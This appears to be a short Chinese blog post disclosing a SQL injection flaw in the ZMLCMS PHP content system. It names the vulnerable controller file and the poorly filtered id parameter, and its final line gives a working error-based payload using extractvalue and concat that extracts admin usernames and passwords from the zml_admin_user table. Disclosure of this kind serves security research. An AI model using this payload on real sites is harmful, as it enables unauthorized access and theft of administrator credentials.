ZMLCMS-SQL注入
2017-08-20 本文已影响69人
wind_飘
一个小小小众的cms
ZMLCMS采用php+mysql开发,基于MVC开发,前端使用pintuer、jquery、layer等....
问题出现在:ZMLCMS\App\Home\Controller\ItemController.class.php
问题代码:58行
对id传过来的值过滤不严谨,导致SQL:


我们来看下当我们带入单引号会有什么变化:


只对单引号和双引号做文章,那我们不出现单引号和双引号不就完事洛,那么我们直接构造语句:


最后构造exp:and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM zml_admin_user limit 0,1)))